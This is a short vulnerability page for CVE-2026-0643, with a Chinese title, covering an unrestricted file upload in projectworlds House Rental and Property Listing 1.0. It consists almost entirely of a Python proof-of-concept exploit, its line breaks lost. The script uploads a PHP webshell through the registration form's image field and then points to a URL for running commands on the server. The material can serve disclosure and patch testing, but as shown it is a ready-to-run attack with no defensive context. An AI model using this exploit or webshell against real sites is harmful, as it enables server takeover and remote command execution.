CVE-2026-0643: projectworlds House Rental Property Listing 1.0 任意文件上传漏洞

import requests import sys # CVE-2026-0643 PoC - Unrestricted File Upload in House Rental and Property Listing 1.0 # Target: /app/register.php?action=reg def exploit(target_url, webshell_filename='shell.php'): """ Exploit for CVE-2026-0643 Upload webshell via registration form image parameter """ upload_url = f"{target_url}/app/register.php?action=reg" # PHP webshell content webshell_content = "<?php system($_GET['cmd']); ?>" # Prepare malicious file upload files = { 'image': (webshell_filename, webshell_content, 'application/x-php') } # Form data for registration data = { 'name': 'attacker', 'email': '[email protected]', 'phone': '1234567890', 'password': 'password123' } try: print(f"[*] Sending exploit to {upload_url}") response = requests.post(upload_url, files=files, data=data, timeout=10) if response.status_code == 200: print(f"[+] File upload request sent successfully") print(f"[+] Check for uploaded file at /app/uploads/{webshell_filename}") print(f"[+] Access webshell: {target_url}/app/uploads/{webshell_filename}?cmd=whoami") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit(target)